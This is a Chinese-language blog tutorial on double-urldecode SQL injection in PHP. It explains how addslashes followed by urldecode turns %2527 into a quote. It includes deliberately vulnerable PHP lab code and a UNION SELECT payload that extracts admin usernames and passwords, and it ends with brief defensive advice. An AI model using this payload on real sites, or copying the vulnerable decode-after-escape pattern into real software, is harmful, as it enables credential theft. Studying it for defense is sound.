二次urldecode注入的原理和防御

二次urldecode注入的原理


现在的web程序大多数都会进行参数过滤,通常使用addslashes()、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC的方式来防止注入,如果某处使用了urldecode或者rawurldecode函数,则会导致二次解码生成单引号而引发注入。

用下面的代码我们简单的了解一下。
<?php

$w = addslashes($_GET['id']);
$p = urldecode($w);
echo '$w = '.$w.'<br / >';
echo '$p = '.$p;

?>

我们提交/1.php?id=1%2527,因为我们提交的参数里面没有单引号,所以第一次解码后的结果是 w = 1 w = 1%27,%25解码为%,如果程序里面使用了urldecode或者rawurldecode函数来解码id参数,解码后的结果为 w=1p = 1’单引号成功引发注入。在这里插入图片描述
既然已经了解原理那么利用就非常的简单了。

二次urldecode注入的利用

二次urldecode注入的利用
<?php

$conn = mysqli_connect('127.0.0.1','root','root','qingfeng');

$uid = addslashes($_GET['id']);

$a = urldecode($uid);

$sql = "select * from news where id = '$a'";

$result = mysqli_query($conn,"$sql");

@$row = mysqli_fetch_row($result);

echo ('当前SQL语句:'.$sql.'<br />结果:');

print_r($row);

?>

打开网页可以看到内容(下图)。
在这里插入图片描述
看前面的原理我们已经知道用%2527代替单引号可以引发注入,那么这里我们直接使用。
在这里插入图片描述
闭合、注释成功执行,接下来就和普通的sql注入一样用联合查询就可以了。
id=1%2527 and 1=2 union select username,password from admin – a在这里插入图片描述
成功的注入出了数据,管理员的账号密码。

二次urldecode注入的防御

  1. 可以循环判断传入执行的参数,对外部提交数据谨慎。
  2. 从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是辨别等
    可以进群一起学习哦!!!
    在这里插入图片描述
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值